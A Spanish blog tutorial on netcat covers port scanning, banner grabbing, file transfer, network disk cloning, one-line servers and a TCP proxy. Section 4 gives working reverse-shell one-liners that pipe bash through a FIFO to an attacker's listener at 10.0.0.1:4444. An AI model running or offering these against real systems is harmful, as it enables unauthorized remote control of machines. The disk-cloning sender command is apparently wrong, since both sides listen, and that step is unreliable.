Bandera: Русский Русский Bandera: English English

Netcat: no es solo Telnet. Es la cinta adhesiva de la red y la magia.

Publicado el 28.11.2025

Si me enviaran a una isla digital desierta y solo me permitieran llevar una utilidad de red, sin dudarlo elegiría Netcat.

La documentación oficial (man nc) dice secamente: «utilidad para leer y escribir a través de conexiones de red usando TCP o UDP».
En la práctica es la navaja suiza del ingeniero de red, que reemplaza a decenas de programas especializados.

En el artículo se usan ejemplos para OpenBSD netcat — es el que viene por defecto en Ubuntu 20.04+, Debian 10+, Fedora, Arch, Alpine y en la mayoría de las distribuciones modernas.


1. Diagnóstico: mejor que ping

ping solo comprueba ICMP. Netcat comprueba exactamente el servicio que necesitas.

Escaneo silencioso de puertos

nc -zv 192.168.1.10 20-80
nc -zv example.com 80 443 22
  • -z — no enviar datos, solo comprobar la conexión
  • -v — salida detallada
  • -w 3 — tiempo de espera 3 segundos (recomiendo añadirlo)

Comunicación manual con servicios (banner grabbing)

printf "HEAD / HTTP/1.0\r\n\r\n" | nc -w 3 google.com 80
echo "QUIT" | nc -w 3 smtp.gmail.com 25

2. Transferencia de archivos y clonación de discos

No hay scp, rsync o una memoria USB? Netcat al rescate.

Transferencia simple de archivo

Receptor:

nc -l -p 9899 > backup.iso

Emisor:

nc 192.168.1.10 9899 < backup.iso

Clonación de disco por red con compresión (muy rápido)

Receptor:

nc -l -p 9899 | pigz -dc | sudo dd of=/dev/sdb bs=4M status=progress

Emisor:

sudo dd if=/dev/sda bs=4M status=progress | pigz -1 | nc -l 9899

Si no hay pigz — sustitúyalo por gzip, pero será más lento.


3. Estilo MacGyver: comandos de una sola línea que dejan boquiabiertos

Servidor web en 5 segundos (funciona de forma fiable)

while true; do
  echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>It works!</h1>" | \
  nc -l -p 8080 -q 1
done

O sirviendo un archivo real:

while true; do cat response.txt | nc -l 127.0.0.1 8080 -q 1; done

Servidor de chat sencillo

Servidor:

nc -l -p 7777

Cliente:

nc 192.168.1.10 7777

Escríbanse mutuamente — todo en tiempo real.

Proxy/túnel TCP a través de un puerto (mediante FIFO)

mkfifo /tmp/backpipe
nc -l 8080 < /tmp/backpipe | nc database.internal 5432 > /tmp/backpipe

Ahora todo lo que llegue a su puerto 8080 irá hacia el PostgreSQL interno.


4. Reverse shell sin la opción -e (funciona con OpenBSD netcat)

Importante: el OpenBSD netcat moderno no incluye la opción -e por razones de seguridad (a diferencia del antiguo netcat de GNU).

Método funcional y totalmente compatible en 2025:

En la máquina atacante (escuchando):

nc -lvkp 4444

En la máquina objetivo (en una sola línea):

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.0.1 4444 >/tmp/f

O aún más corto usando mknod:

mknod /tmp/p p
/bin/bash -i < /tmp/p 2>&1 | nc 10.0.0.1 4444 >/tmp/p

Obtienes una shell interactiva completa.


5. Cuando netcat no basta — usa Ncat o Socat

  • Ncat (del paquete Nmap) — soporta -e, SSL, proxies, varios clientes simultáneamente
  • Socat — aún más potente, pero con una sintaxis más compleja

Instalación:

# Ncat
sudo apt install nmap    # ya contiene ncat

# Socat
sudo apt install socat

Conclusión

Netcat es la encarnación de la filosofía Unix:
«Haz una cosa y hazla bien» — simplemente transfiere bytes del punto A al punto B.
Y en qué se convertirán esos bytes depende solo de tu imaginación y de tus conocimientos de stdin/stdout.

Prueba hoy mismo a transferir un archivo desde el portátil al teléfono mediante Termux.
Después de eso ya nunca verás a nc como «otro telnet más».

Reseñas relacionadas

Hubo varios problemas, tanto en la parte técnica como en la comprensión general. Mijaíl respondió rápido a la solicitud, ayudó a aclarar las cosas y resolvió los problemas técnicos; por ello, muchas gracias. Estoy satisfecho con el resultado.

abazawolf · Configuración de VPS, configuración del servidor

18.02.2026 · ⭐ 5/5

Hubo varios problemas relacionados tanto con la parte técnica como con la comprensión en general. Mijaíl respondió rápidamente a la solicitud, ayudó a aclarar las cosas y resolvió los problemas técnicos, por lo que le doy las gracias por ello. Estoy satisfecho con el resultado.

¿Necesitas ayuda?

Escríbeme y te ayudaré a resolver el problema

Publicaciones relacionadas